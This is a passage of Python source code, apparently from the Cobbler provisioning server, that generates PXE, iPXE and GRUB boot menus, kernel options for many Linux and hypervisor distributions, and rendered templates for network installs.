metadata dictionary that contains the metdata for the template. """ metadata["menu_items"] = metadata["menu_items"].get("ipxe", "") # type: ignore metadata["menu_labels"] = metadata["menu_labels"].get("ipxe", "") # type: ignore with open( os.path.join( self.settings.boot_loader_conf_template_dir, "ipxe_menu.template" ), encoding="UTF-8", ) as template_src: template_data = template_src.read() return self.templar.render(template_data, metadata, None) def get_menu_items( self, arch: Optional[enums.Archs] = None ) -> Dict[str, Union[str, Dict[str, str]]]: """ Generates menu items for pxe, ipxe and grub. Grub menu items are grouped into submenus by profile. :param arch: The processor architecture to generate the menu items for. (Optional) :returns: A dictionary with the pxe, ipxe and grub menu items. It has the keys from utils.get_supported_system_boot_loaders(). """ return self.get_menu_level(None, arch) def _get_submenu_child( self, child: "Menu", arch: Optional[enums.Archs], boot_loaders: List[str], nested_menu_items: Dict[str, Any], menu_labels: Dict[str, Any], ) -> None: """ Generate a single entry for a submenu. :param child: The child item to generate the entry for. :param arch: The architecture to generate the entry for. :param boot_loaders: The list of boot loaders to generate the entry for. :param nested_menu_items: The nested menu items. :param menu_labels: The list of labels that are used for displaying the menu entry. """ temp_metadata = self.get_menu_level(child, arch) temp_items = temp_metadata["menu_items"] for boot_loader in boot_loaders: if boot_loader in temp_items: if boot_loader in nested_menu_items: nested_menu_items[boot_loader] += temp_items[boot_loader] # type: ignore else: nested_menu_items[boot_loader] = temp_items[boot_loader] # type: ignore if boot_loader not in menu_labels: menu_labels[boot_loader] = [] if "ipxe" in temp_items: display_name = ( child.display_name if child.display_name and child.display_name != "" else child.name ) menu_labels[boot_loader].append( { "name": child.name, "display_name": display_name + " -> [submenu]", } ) def get_submenus( self, menu: Optional["Menu"], metadata: Dict[Any, Any], arch: Optional[enums.Archs], ): """ Generates submenus metatdata for pxe, ipxe and grub. :param menu: The menu for which boot files are generated. (Optional) :param metadata: Pass additional parameters to the ones being collected during the method. :param arch: The processor architecture to generate the menu items for. (Optional) """ if menu: childs = menu.children else: childs = self.api.find_menu(return_list=True, parent="") if childs is None: childs = [] if not isinstance(childs, list): raise ValueError("children was expected to be a list!") childs.sort(key=lambda child: child.name) nested_menu_items: Dict[str, List[Dict[str, str]]] = {} menu_labels: Dict[str, List[Dict[str, str]]] = {} boot_loaders = utils.get_supported_system_boot_loaders() for child in childs: self._get_submenu_child( child, arch, boot_loaders, nested_menu_items, menu_labels # type: ignore ) metadata["menu_items"] = nested_menu_items metadata["menu_labels"] = menu_labels def _get_item_menu( self, arch: Optional[enums.Archs], boot_loader: str, current_menu_items: Dict[str, Any], menu_labels: Dict[str, Any], distro: Optional["Distro"] = None, profile: Optional["Profile"] = None, image: Optional["Image"] = None, ) -> None: """ Common logic for generating both profile and image based menu entries. :param arch: The architecture to generate the entries for. :param boot_loader: The bootloader that the item menu is generated for. :param current_menu_items: The already generated menu items. :param menu_labels: The list of labels that are used for displaying the menu entry. :param distro: The distro to generate the entries for. :param profile: The profile to generate the entries for. :param image: The image to generate the entries for. """ target_item = None if image is None: target_item = profile elif profile is None: target_item = image if target_item is None: raise ValueError( '"image" and "profile" are mutually exclusive arguments! At least one of both must be given!' ) contents = self.write_pxe_file( filename=None, system=None, profile=profile, distro=distro, arch=arch, image=image, bootloader_format=boot_loader, ) if contents and contents != "": if boot_loader not in current_menu_items: current_menu_items[boot_loader] = "" current_menu_items[boot_loader] += contents if boot_loader not in menu_labels: menu_labels[boot_loader] = [] # iPXE Level menu if boot_loader == "ipxe": display_name = target_item.name if target_item.display_name and target_item.display_name != "": display_name = target_item.display_name menu_labels["ipxe"].append( {"name": target_item.name, "display_name": display_name} ) def get_profiles_menu( self, menu: Optional["Menu"], metadata: Dict[str, Any], arch: Optional[enums.Archs], ): """ Generates profiles metadata for pxe, ipxe and grub. :param menu: The menu for which boot files are generated. (Optional) :param metadata: Pass additional parameters to the ones being collected during the method. :param arch: The processor architecture to generate the menu items for. (Optional) """ menu_name = "" if menu is not None: menu_name = menu.name profile_filter = {"menu": menu_name} if arch: profile_filter["arch"] = arch.value profile_list = self.api.find_profile(return_list=True, **profile_filter) # type: ignore[reportArgumentType] if profile_list is None: profile_list = [] if not isinstance(profile_list, list): raise ValueError("find_profile was expexted to return a list!") profile_list.sort(key=lambda profile: profile.name) current_menu_items: Dict[str, Any] = {} menu_labels = metadata["menu_labels"] for profile in profile_list: if not profile.enable_menu: # This profile has been excluded from the menu continue arch = None distro = profile.get_conceptual_parent() boot_loaders = profile.boot_loaders if distro: arch = distro.arch # type: ignore for boot_loader in boot_loaders: if boot_loader not in profile.boot_loaders: continue self._get_item_menu( arch, # type: ignore boot_loader, current_menu_items, menu_labels, distro=distro, # type: ignore profile=profile, image=None, ) metadata["menu_items"] = current_menu_items metadata["menu_labels"] = menu_labels def get_images_menu( self, menu: Optional["Menu"], metadata: Dict[str, Any], arch: Optional[enums.Archs], ) -> None: """ Generates profiles metadata for pxe, ipxe and grub. :param menu: The menu for which boot files are generated. (Optional) :param metadata: Pass additional parameters to the ones being collected during the method. :param arch: The processor architecture to generate the menu items for. (Optional) """ menu_name = "" if menu is not None: menu_name = menu.name image_filter = {"menu": menu_name} if arch: image_filter["arch"] = arch.value image_list = self.api.find_image(return_list=True, **image_filter) # type: ignore[reportArgumentType] if image_list is None: image_list = [] if not isinstance(image_list, list): raise ValueError("find_image was expexted to return a list!") image_list = sorted(image_list, key=lambda image: image.name) current_menu_items = metadata["menu_items"] menu_labels = metadata["menu_labels"] # image names towards the bottom for image in image_list: if os.path.exists(image.file): arch = image.arch boot_loaders = image.boot_loaders for boot_loader in boot_loaders: if boot_loader not in image.boot_loaders: continue self._get_item_menu( arch, boot_loader, current_menu_items, menu_labels, image=image ) metadata["menu_items"] = current_menu_items metadata["menu_labels"] = menu_labels def get_menu_level( self, menu: Optional["Menu"] = None, arch: Optional[enums.Archs] = None ) -> Dict[str, Union[str, Dict[str, str]]]: """ Generates menu items for submenus, pxe, ipxe and grub. :param menu: The menu for which boot files are generated. (Optional) :param arch: The processor architecture to generate the menu items for. (Optional) :returns: A dictionary with the pxe and grub menu items. It has the keys from utils.get_supported_system_boot_loaders(). """ metadata: Dict[str, Any] = {} metadata["parent_menu_name"] = "Cobbler" metadata["parent_menu_label"] = "Cobbler" template_data: Dict[str, Any] = {} boot_loaders = utils.get_supported_system_boot_loaders() if menu: parent_menu = menu.parent metadata["menu_name"] = menu.name metadata["menu_label"] = ( menu.display_name if menu.display_name and menu.display_name != "" else menu.name ) if parent_menu and parent_menu != "": metadata["parent_menu_name"] = parent_menu.name metadata["parent_menu_label"] = parent_menu.name if parent_menu.display_name and parent_menu.display_name != "": metadata["parent_menu_label"] = parent_menu.display_name for boot_loader in boot_loaders: template = ( pathlib.Path(self.settings.boot_loader_conf_template_dir) / f"{boot_loader}_submenu.template" ) if template.exists(): with open(template, encoding="UTF-8") as template_fh: template_data[boot_loader] = template_fh.read() else: self.logger.warning( 'Template for building a submenu not found for bootloader "%s"! Submenu ' "structure thus missing for this bootloader.", boot_loader, ) self.get_submenus(menu, metadata, arch) nested_menu_items = metadata["menu_items"] self.get_profiles_menu(menu, metadata, arch) current_menu_items = metadata["menu_items"] self.get_images_menu(menu, metadata, arch) current_menu_items = metadata["menu_items"] menu_items: Dict[str, Any] = {} menu_labels = metadata["menu_labels"] line_pat = re.compile(r"^(.+)$", re.MULTILINE) line_sub = "\t\\g<1>" for boot_loader in boot_loaders: if ( boot_loader not in nested_menu_items and boot_loader not in current_menu_items ): continue menu_items[boot_loader] = "" if boot_loader == "ipxe": if menu: if boot_loader in current_menu_items: menu_items[boot_loader] = current_menu_items[boot_loader] if boot_loader in nested_menu_items: menu_items[boot_loader] += nested_menu_items[boot_loader] else: if boot_loader in nested_menu_items: menu_items[boot_loader] = nested_menu_items[boot_loader] if boot_loader in current_menu_items: menu_items[boot_loader] += ( "\n" + current_menu_items[boot_loader] ) else: if boot_loader in nested_menu_items: menu_items[boot_loader] = nested_menu_items[boot_loader] if boot_loader in current_menu_items: menu_items[boot_loader] += current_menu_items[boot_loader] # Indentation for nested pxe and grub menu items. if menu: menu_items[boot_loader] = line_pat.sub( line_sub, menu_items[boot_loader] ) if menu and boot_loader in template_data: metadata["menu_items"] = menu_items[boot_loader] if boot_loader in menu_labels: metadata["menu_labels"] = menu_labels[boot_loader] menu_items[boot_loader] = self.templar.render( template_data[boot_loader], metadata, None ) if boot_loader == "ipxe": menu_items[boot_loader] += "\n" metadata["menu_items"] = menu_items metadata["menu_labels"] = menu_labels return metadata def write_pxe_file( self, filename: Optional[str], system: Optional["System"], profile: Optional["Profile"], distro: Optional["Distro"], arch: Optional[Archs], image: Optional["Image"] = None, metadata: Optional[Dict[str, Union[str, Dict[str, str]]]] = None, bootloader_format: str = "pxe", ) -> str: """ Write a configuration file for the boot loader(s). More system-specific configuration may come in later, if so that would appear inside the system object in api.py Can be used for different formats, "pxe" (default) and "grub". :param filename: If present this writes the output into the giving filename. If not present this method just returns the generated configuration. :param system: If you supply a system there are other templates used then when using only a profile/image/ distro. :param profile: The profile to generate the pxe-file for. :param distro: If you don't ship an image, this is needed. Otherwise this just supplies information needed for the templates. :param arch: The processor architecture to generate the pxefile for. :param image: If you want to be able to deploy an image, supply this parameter. :param metadata: Pass additional parameters to the ones being collected during the method. :param bootloader_format: Can be any of those returned by utils.get_supported_system_boot_loaders(). :return: The generated filecontent for the required item. """ if arch is None: raise CX("missing arch") if image and not os.path.exists(image.file): # nfs:// URLs or something, can't use for TFTP return None # type: ignore if metadata is None: metadata = {} boot_loaders = None if system: boot_loaders = system.boot_loaders metadata["menu_label"] = system.name metadata["menu_name"] = system.name if system.display_name and system.display_name != "": metadata["menu_label"] = system.display_name elif profile: boot_loaders = profile.boot_loaders metadata["menu_label"] = profile.name metadata["menu_name"] = profile.name if profile.display_name and profile.display_name != "": metadata["menu_label"] = profile.display_name elif image: boot_loaders = image.boot_loaders metadata["menu_label"] = image.name metadata["menu_name"] = image.name if image.display_name and image.display_name != "": metadata["menu_label"] = image.display_name if boot_loaders is None or bootloader_format not in boot_loaders: return None # type: ignore settings = input_converters.input_string_or_dict(self.settings.to_dict()) metadata.update(settings) # type: ignore # --- # just some random variables buffer = "" template = os.path.join( self.settings.boot_loader_conf_template_dir, bootloader_format + ".template" ) self.build_kernel(metadata, system, profile, distro, image, bootloader_format) # type: ignore # generate the kernel options and append line: kernel_options = self.build_kernel_options( system, profile, distro, image, arch, metadata["autoinstall"] # type: ignore ) metadata["kernel_options"] = kernel_options if "initrd_path" in metadata: append_line = f"append initrd={metadata['initrd_path']}" else: append_line = "append " append_line = f"{append_line}{kernel_options}" if distro and distro.os_version.startswith("xenserver620"): append_line = f"{kernel_options}" metadata["append_line"] = append_line # store variables for templating if system: if ( system.serial_device > -1 or system.serial_baud_rate != enums.BaudRates.DISABLED ): if system.serial_device == -1: serial_device = 0 else: serial_device = system.serial_device if system.serial_baud_rate == enums.BaudRates.DISABLED: serial_baud_rate = 115200 else: serial_baud_rate = system.serial_baud_rate.value if bootloader_format == "pxe": buffer += f"serial {serial_device:d} {serial_baud_rate:d}\n" elif bootloader_format == "grub": buffer += "set serial_console=true\n" buffer += f"set serial_baud={serial_baud_rate}\n" buffer += f"set serial_line={serial_device}\n" # for esxi, generate bootcfg_path metadata # and write boot.cfg files for systems and pxe if distro and distro.os_version.startswith("esxi"): if system: if filename: bootcfg_path = os.path.join( "system", os.path.basename(filename), "boot.cfg" ) else: bootcfg_path = os.path.join("system", system.name, "boot.cfg") # write the boot.cfg file in the bootcfg_path if bootloader_format == "pxe": self._write_bootcfg_file("system", system.name, bootcfg_path) # make bootcfg_path available for templating metadata["bootcfg_path"] = bootcfg_path else: # menus do not work for esxi profiles. So we exit here return "" # get the template if metadata["kernel_path"] is not None: # type: ignore with open(template, encoding="UTF-8") as template_fh: template_data = template_fh.read() else: # this is something we can't PXE boot template_data = "\n" # save file and/or return results, depending on how called. buffer += self.templar.render(template_data, metadata, None) if filename is not None: self.logger.info("generating: %s", filename) # Ensure destination path exists to avoid race condition if not os.path.exists(os.path.dirname(filename)): filesystem_helpers.mkdir(os.path.dirname(filename)) with open(filename, "w", encoding="UTF-8") as pxe_file_fd: pxe_file_fd.write(buffer) return buffer def build_kernel( self, metadata: Dict[str, Any], system: "System", profile: "Profile", distro: "Distro", image: Optional["Image"] = None, boot_loader: str = "pxe", ): """ Generates kernel and initrd metadata. :param metadata: Pass additional parameters to the ones being collected during the method. :param system: The system to generate the pxe-file for. :param profile: The profile to generate the pxe-file for. :param distro: If you don't ship an image, this is needed. Otherwise this just supplies information needed for the templates. :param image: If you want to be able to deploy an image, supply this parameter. :param boot_loader: Can be any of those returned by utils.get_supported_system_boot_loaders(). """ kernel_path: Optional[str] = None initrd_path: Optional[str] = None img_path: Optional[str] = None # --- if system: blended = utils.blender(self.api, True, system) meta_blended = utils.blender(self.api, False, system) elif profile: blended = utils.blender(self.api, True, profile) meta_blended = utils.blender(self.api, False, profile) elif image: blended = utils.blender(self.api, True, image) meta_blended = utils.blender(self.api, False, image) else: blended = {} meta_blended = {} autoinstall_meta = meta_blended.get("autoinstall_meta", {}) metadata.update(blended) if image is None: # not image based, it's something normalish img_path = os.path.join("/images", distro.name) if boot_loader in ["grub", "ipxe"]: if distro.remote_grub_kernel: kernel_path = distro.remote_grub_kernel if distro.remote_grub_initrd: initrd_path = distro.remote_grub_initrd if "http" in distro.kernel and "http" in distro.initrd: if not kernel_path: kernel_path = distro.kernel if not initrd_path: initrd_path = distro.initrd # ESXi: for templating pxe/ipxe, kernel_path is bootloader mboot.c32 if distro.breed == "vmware" and distro.os_version.startswith("esxi"): kernel_path = os.path.join(img_path, "mboot.c32") if not kernel_path: kernel_path = os.path.join(img_path, os.path.basename(distro.kernel)) if not initrd_path: initrd_path = os.path.join(img_path, os.path.basename(distro.initrd)) else: # this is an image we are making available, not kernel+initrd if image.image_type == ImageTypes.DIRECT: kernel_path = os.path.join("/images2", image.name) elif image.image_type == ImageTypes.MEMDISK: kernel_path = "/memdisk" initrd_path = os.path.join("/images2", image.name) else: # CD-ROM ISO or virt-clone image? We can't PXE boot it. kernel_path = None initrd_path = None if "img_path" not in metadata: metadata["img_path"] = img_path if "kernel_path" not in metadata: metadata["kernel_path"] = kernel_path if "initrd_path" not in metadata: metadata["initrd_path"] = initrd_path if "kernel" in autoinstall_meta: kernel_path = autoinstall_meta["kernel"] if not utils.file_is_remote(kernel_path): # type: ignore kernel_path = os.path.join(img_path, os.path.basename(kernel_path)) # type: ignore metadata["kernel_path"] = kernel_path metadata["initrd"] = self._generate_initrd( autoinstall_meta, kernel_path, initrd_path, boot_loader # type: ignore ) if boot_loader == "grub" and utils.file_is_remote(kernel_path): # type: ignore metadata["kernel_path"] = grub.parse_grub_remote_file(kernel_path) # type: ignore def build_kernel_options( self, system: Optional["System"], profile: Optional["Profile"], distro: Optional["Distro"], image: Optional["Image"], arch: enums.Archs, autoinstall_path: str, ) -> str: """ Builds the full kernel options line. :param system: The system to generate the kernel options for. :param profile: Although the system contains the profile please specify it explicitly here. :param distro: Although the profile contains the distribution please specify it explicitly here. :param image: The image to generate the kernel options for. :param arch: The processor architecture to generate the kernel options for. :param autoinstall_path: The autoinstallation path. Normally this will be a URL because you want to pass a link to an autoyast, preseed or kickstart file. :return: The generated kernel line options. """ management_interface = None management_mac = None if system is not None: blended = utils.blender(self.api, False, system) # find the first management interface try: for intf in system.interfaces.keys(): if system.interfaces[intf].management: management_interface = intf if system.interfaces[intf].mac_address: management_mac = system.interfaces[intf].mac_address break except Exception: # just skip this then pass elif profile is not None: blended = utils.blender(self.api, False, profile) elif image is not None: blended = utils.blender(self.api, False, image) else: raise ValueError("Impossible to find object for kernel options") append_line = "" kopts: Dict[str, Any] = blended.get("kernel_options", {}) kopts = utils.revert_strip_none(kopts) # type: ignore # SUSE and other distro specific kernel additions or modifications if distro is not None: if system is None: utils.kopts_overwrite(kopts, self.settings.server, distro.breed) else: utils.kopts_overwrite( kopts, self.settings.server, distro.breed, system.name ) # support additional initrd= entries in kernel options. if "initrd" in kopts: append_line = f",{kopts.pop('initrd')}" hkopts = utils.dict_to_string(kopts) append_line = f"{append_line} {hkopts}" # automatic installation file path rewriting (get URLs for local files) if autoinstall_path: # FIXME: need to make shorter rewrite rules for these URLs # changing http_server's server component to its IP address was intruduced with # https://github.com/cobbler/cobbler/commit/588756aa7aefc122310847d007becf3112647944 # to shorten the message length for S390 systems. # On multi-homed cobbler servers, this can lead to serious problems when installing # systems in a dedicated isolated installation subnet: # - typically, $server is reachable by name (DNS resolution assumed) both during PXE # install and during production, but via different IP addresses # - $http_server is explicitly constructed from $server # - the IP address for $server may resolv differently between cobbler server (production) # and installing system # - using IP($http_server) below may need to set $server in a way that matches the installation # network # - using $server for later repository access then will fail, because the installation address # isn't reachable for production systems # # In order to make the revert less intrusive, it'll depend on a configuration setting if self.settings and self.settings.convert_server_to_ip: try: httpserveraddress = socket.gethostbyname_ex(blended["http_server"])[ 2 ][0] except socket.gaierror: httpserveraddress = blended["http_server"] else: httpserveraddress = blended["http_server"] local_autoinstall_file = not re.match(r"[a-zA-Z]*://.*", autoinstall_path) protocol = self.settings.autoinstall_scheme if local_autoinstall_file: if system is not None: autoinstall_path = f"{protocol}://{httpserveraddress}/cblr/svc/op/autoinstall/system/{system.name}" elif profile is not None: autoinstall_path = ( f"{protocol}://{httpserveraddress}/" f"cblr/svc/op/autoinstall/profile/{profile.name}" ) else: raise ValueError("Neither profile nor system based!") if distro is None: raise ValueError("Distro for kernel command line not found!") if distro.breed == "redhat": if distro.os_version in ["rhel4", "rhel5", "rhel6", "fedora16"]: append_line += f" kssendmac ks={autoinstall_path}" if blended["autoinstall_meta"].get("tree"): append_line += f" repo={blended['autoinstall_meta']['tree']}" else: append_line += f" inst.ks.sendmac inst.ks={autoinstall_path}" if blended["autoinstall_meta"].get("tree"): append_line += ( f" inst.repo={blended['autoinstall_meta']['tree']}" ) ipxe = blended["enable_ipxe"] if ipxe: append_line = append_line.replace( "ksdevice=bootif", "ksdevice=${net0/mac}" ) elif distro.breed == "suse": append_line = f"{append_line} autoyast={autoinstall_path}" if management_mac and distro.arch not in ( enums.Archs.S390, enums.Archs.S390X, ): append_line += f" netdevice={management_mac}" elif distro.breed in ("debian", "ubuntu"): append_line = ( f"{append_line}auto-install/enable=true priority=critical " f"netcfg/choose_interface=auto url={autoinstall_path}" ) if management_interface: append_line += f" netcfg/choose_interface={management_interface}" elif distro.breed == "freebsd": append_line = f"{append_line} ks={autoinstall_path}" # rework kernel options for debian distros translations = {"ksdevice": "interface", "lang": "locale"} for key, value in translations.items(): append_line = append_line.replace(f"{key}=", f"{value}=") # interface=bootif causes a failure append_line = append_line.replace("interface=bootif", "") elif distro.breed == "vmware": if distro.os_version.find("esxi") != -1: # ESXi is very picky, it's easier just to redo the # entire append line here since hkopts = utils.dict_to_string(kopts) append_line = f"{hkopts} ks={autoinstall_path}" else: append_line = f"{append_line} vmkopts=debugLogToSerial:1 mem=512M ks={autoinstall_path}" # interface=bootif causes a failure append_line = append_line.replace("ksdevice=bootif", "") elif distro.breed == "xen": if distro.os_version.find("xenserver620") != -1: img_path = os.path.join("/images", distro.name) append_line = ( f"append {img_path}/xen.gz dom0_max_vcpus=2 dom0_mem=752M com1=115200,8n1 console=com1," f"vga --- {img_path}/vmlinuz xencons=hvc console=hvc0 console=tty0 install" f" answerfile={autoinstall_path} --- {img_path}/install.img" ) return append_line elif distro.breed == "powerkvm": append_line += " kssendmac" append_line = f"{append_line} kvmp.inst.auto={autoinstall_path}" if distro is not None and (distro.breed in ["debian", "ubuntu"]): # Hostname is required as a parameter, the one in the preseed is not respected, so calculate if we have one # here. # We're trying: first part of FQDN in hostname field, then system name, then profile name. # In Ubuntu, this is at least used for the volume group name when using LVM. domain = "local.lan" if system is not None: if system.hostname != "": # If this is a FQDN, grab the first bit hostname = system.hostname.split(".")[0] _domain = system.hostname.split(".")[1:] if _domain: domain = ".".join(_domain) else: hostname = system.name else: # ubuntu at the very least does not like having underscores # in the hostname. # FIXME: Really this should remove all characters that are # forbidden in hostnames hostname = profile.name.replace("_", "") # type: ignore # At least for debian deployments configured for DHCP networking this values are not used, but specifying # here avoids questions append_line = f"{append_line} hostname={hostname}" append_line = f"{append_line} domain={domain}" # A similar issue exists with suite name, as installer requires the existence of "stable" in the dists # directory append_line = f"{append_line} suite={distro.os_version}" # append necessary kernel args for arm architectures if arch is enums.Archs.ARM: append_line = f"{append_line} fixrtc vram=48M omapfb.vram=0:24M" # do variable substitution on the append line # promote all of the autoinstall_meta variables if "autoinstall_meta" in blended: blended.update(blended["autoinstall_meta"]) append_line = self.templar.render(append_line, utils.flatten(blended), None) # type: ignore # For now console=ttySx,BAUDRATE are only set for systems # This could get enhanced for profile/distro via utils.blender (inheritance) # This also is architecture specific. E.g: Some ARM consoles need: console=ttyAMAx,BAUDRATE # I guess we need a serial_kernel_dev = param, that can be set to "ttyAMA" if needed. if system and arch == Archs.X86_64: if ( system.serial_device > -1 or system.serial_baud_rate != enums.BaudRates.DISABLED ): if system.serial_device == -1: serial_device = 0 else: serial_device = system.serial_device if system.serial_baud_rate == enums.BaudRates.DISABLED: serial_baud_rate = 115200 else: serial_baud_rate = system.serial_baud_rate.value append_line = ( f"{append_line} console=ttyS{serial_device},{serial_baud_rate}" ) # FIXME - the append_line length limit is architecture specific if len(append_line) >= 1023: self.logger.warning("warning: kernel option length exceeds 1023") return append_line def write_templates( self, obj: "BootableItem", write_file: bool = False, path: Optional[str] = None, ) -> Dict[str, str]: """ A semi-generic function that will take an object with a template_files dict {source:destiation}, and generate a rendered file. The write_file option allows for generating of the rendered output without actually creating any files. :param obj: The object to write the template files for. :param write_file: If the generated template should be written to the disk. :param path: TODO: A useless parameter? :return: A dict of the destination file names (after variable substitution is done) and the data in the file. """ self.logger.info("Writing template files for %s", obj.name) results: Dict[str, str] = {} try: templates = obj.template_files except Exception: return results blended = utils.blender(self.api, False, obj) if obj.COLLECTION_TYPE == "distro": # type: ignore if re.search("esxi[567]", obj.os_version) is not None: # type: ignore with open( os.path.join(os.path.dirname(obj.kernel), "boot.cfg"), # type: ignore encoding="UTF-8", ) as realbootcfg_fd: realbootcfg = realbootcfg_fd.read() bootmodules = re.findall(r"modules=(.*)", realbootcfg) for modules in bootmodules: blended["esx_modules"] = modules.replace("/", "") # Make "autoinstall_meta" available at top level autoinstall_meta = blended.pop("autoinstall_meta", {}) blended.update(autoinstall_meta) # Make "template_files" available at top level templates = blended.pop("template_files", {}) blended.update(templates) templates = input_converters.input_string_or_dict_no_inherit(templates) # FIXME: img_path and local_img_path should probably be moved up into the blender function to ensure they're # consistently available to templates across the board. if blended.get("distro_name", False): blended["img_path"] = os.path.join("/images", blended["distro_name"]) blended["local_img_path"] = os.path.join( self.bootloc, "images", blended["distro_name"] ) for template in templates.keys(): dest = templates[template] if dest is None: continue # Run the source and destination files through templar first to allow for variables in the path template = self.templar.render(template, blended, None).strip() dest = os.path.normpath(self.templar.render(dest, blended, None).strip()) # Get the path for the destination output dest_dir = os.path.normpath(os.path.dirname(dest)) # If we're looking for a single template, skip if this ones destination is not it. if path is not None and path != dest: continue # If we are writing output to a file, we allow files to be written into the tftpboot directory, otherwise # force all templated configs into the rendered directory to ensure that a user granted cobbler privileges # via sudo can't overwrite arbitrary system files (This also makes cleanup easier). if write_file and os.path.isabs(dest_dir): if not ( dest_dir.startswith(self.bootloc) or dest.startswith(self.settings.webdir) ): # Allow both the TFTP and web directory since template_files and boot_files were merged raise CX( f"warning: template destination ({dest_dir}) is outside {self.bootloc} or" f" {self.settings.webdir}, skipping." ) elif write_file: dest_dir = os.path.join(self.settings.webdir, "rendered", dest_dir) dest = os.path.join(dest_dir, os.path.basename(dest)) if not os.path.exists(dest_dir): filesystem_helpers.mkdir(dest_dir) # Check for problems if not os.path.exists(template): self.logger.warning("template source %s does not exist", template) continue if write_file and not os.path.isdir(dest_dir): self.logger.warning("template destination (%s) is invalid", dest_dir) continue if write_file and os.path.exists(dest): self.logger.warning("template destination (%s) already exists", dest) continue if write_file and os.path.isdir(dest): self.logger.warning("template destination (%s) is a directory", dest) continue if template == "" or dest == "": self.logger.warning( "either the template source or destination was blank (unknown variable used?)" ) continue with open(template, encoding="UTF-8") as template_fh: template_data = template_fh.read() buffer = self.templar.render(template_data, blended, None) results[dest] = buffer if write_file: self.logger.info("generating: %s", dest) with open(dest, "w", encoding="UTF-8") as template_fd: template_fd.write(buffer) return results def generate_ipxe(self, what: str, name: str) -> str: """ Generate the ipxe files. :param what: Either "profile" or "system". All other item types not valid. :param name: The name of the profile or system. :return: The rendered template. """ if what.lower() not in ("profile", "image", "system"): return "# ipxe is only valid for profiles, images and systems" distro: Optional["Distro"] = None image: Optional["Image"] = None profile: Optional["Profile"] = None system: Optional["System"] = None if what == "profile": profile = self.api.find_profile(name=name) # type: ignore if profile: distro = profile.get_conceptual_parent() # type: ignore elif what == "image": image = self.api.find_image(name=name) # type: ignore else: system = self.api.find_system(name=name) # type: ignore if system: profile = system.get_conceptual_parent() # type: ignore if profile and profile.COLLECTION_TYPE == "profile": distro = profile.get_conceptual_parent() # type: ignore else: image = profile # type: ignore profile = None if distro: arch = distro.arch elif image: arch = image.arch else: return "" result = self.write_pxe_file( None, system, profile, distro, arch, image, bootloader_format="ipxe" ) if not result: return "" result_split = result.splitlines(True) result_split[0] = "#!ipxe\n" return "".join(result_split) def generate_bootcfg(self, what: str, name: str) -> str: """ Generate a bootcfg for a system of profile. :param what: The type for what the bootcfg is generated for. Must be "profile" or "system". :param name: The name of the item which the bootcfg should be generated for. :return: The fully rendered bootcfg as a string. """ if what.lower() not in ("profile", "system"): return "# bootcfg is only valid for profiles and systems" if what == "profile": obj = self.api.find_profile(name=name) distro = obj.get_conceptual_parent() # type: ignore else: obj = self.api.find_system(name=name) profile = obj.get_conceptual_parent() # type: ignore distro = profile.get_conceptual_parent() # type: ignore blended = utils.blender(self.api, False, obj) # type: ignore if distro.os_version.startswith("esxi"): # type: ignore with open( os.path.join(os.path.dirname(distro.kernel), "boot.cfg"), # type: ignore encoding="UTF-8", ) as bootcfg_fd: bootmodules = re.findall(r"modules=(.*)", bootcfg_fd.read()) for modules in bootmodules: blended["esx_modules"] = modules.replace("/", "") # FIXME: img_path should probably be moved up into the blender function to ensure they're consistently # available to templates across the board if obj.enable_ipxe: # type: ignore protocol = self.api.settings().autoinstall_scheme blended["img_path"] = ( f"{protocol}://{self.settings.server}:{self.settings.http_port}/" f"cobbler/links/{distro.name}" # type: ignore ) else: blended["img_path"] = os.path.join("/images", distro.name) # type: ignore # generate the kernel options: if what == "system": kopts = self.build_kernel_options( obj, # type: ignore profile, # type: ignore distro, # type: ignore None, distro.arch, # type: ignore blended.get("autoinstall", None), ) elif what == "profile": kopts = self.build_kernel_options( None, obj, distro, None, distro.arch, blended.get("autoinstall", None) # type: ignore ) blended["kopts"] = kopts # type: ignore blended["kernel_file"] = os.path.basename(distro.kernel) # type: ignore template = os.path.join( self.settings.boot_loader_conf_template_dir, "bootcfg.template" ) if not os.path.exists(template): return f"# boot.cfg template not found for the {what} named {name} (filename={template})" with open(template, encoding="UTF-8") as template_fh: template_data = template_fh.read() return self.templar.render(template_data, blended, None) def generate_script(self, what: str, objname: str, script_name: str) -> str: """ Generate a script from a autoinstall script template for a given profile or system. :param what: The type for what the bootcfg is generated for. Must be "profile" or "system". :param objname: The name of the item which the bootcfg should be generated for. :param script_name: The name of the template which should be rendered for the system or profile. :return: The fully rendered script as a string. """ if what == "profile": obj = self.api.find_profile(name=objname) elif what == "system": obj = self.api.find_system(name=objname) else: raise ValueError('"what" needs to be either "profile" or "system"!') if not validate_autoinstall_script_name(script_name): raise ValueError('"script_name" handed to generate_script was not valid!') if not obj or isinstance(obj, list): return f'# "{what}" named "{objname}" not found' distro: Optional["Distro"] = obj.get_conceptual_parent() # type: ignore if distro is None or isinstance(distro, list): raise ValueError("Something is wrong!") while distro.get_conceptual_parent(): # type: ignore distro = distro.get_conceptual_parent() # type: ignore blended = utils.blender(self.api, False, obj) # Promote autoinstall_meta to top-level autoinstall_meta = blended.pop("autoinstall_meta", {}) blended.update(autoinstall_meta) # FIXME: img_path should probably be moved up into the blender function to ensure they're consistently # available to templates across the board if obj.enable_ipxe: protocol = self.api.settings().autoinstall_scheme blended["img_path"] = ( f"{protocol}://{self.settings.server}:{self.settings.http_port}/" f"cobbler/links/{distro.name}" # type: ignore ) else: blended["img_path"] = os.path.join("/images", distro.name) # type: ignore scripts_root = "/var/lib/cobbler/scripts" template = os.path.normpath(os.path.join(scripts_root, script_name)) if not template.startswith(scripts_root): return f'# script template "{script_name}" could not be found in the script root' if not os.path.exists(template): return f'# script template "{script_name}" not found' with open(template, encoding="UTF-8") as template_fh: template_data = template_fh.read() return self.templar.render(template_data, blended, None) def _build_windows_initrd( self, loader_name: str, custom_loader_name: str, bootloader_format: str ) -> str: """ Generate a initrd metadata for Windows. :param loader_name: The loader name. :param custom_loader_name: The loader name in profile or system. :param bootloader_format: Can be any of those returned by get_supported_system_boot_loaders. :return: The fully generated initrd string for the bootloader. """ initrd_line = custom_loader_name if bootloader_format == "ipxe": initrd_line = f"--name {loader_name} {custom_loader_name} {loader_name}" elif bootloader_format == "pxe": initrd_line = f"{custom_loader_name}@{loader_name}" elif bootloader_format == "grub": loader_path = custom_loader_name if utils.file_is_remote(loader_path): loader_path = grub.parse_grub_remote_file(custom_loader_name) # type: ignore initrd_line = f"newc:{loader_name}:{loader_path}" return initrd_line def _generate_initrd( self, autoinstall_meta: Dict[Any, Any], kernel_path: str, initrd_path: str, bootloader_format: str, ) -> List[str]: """ Generate a initrd metadata. :param autoinstall_meta: The kernel options. :param kernel_path: 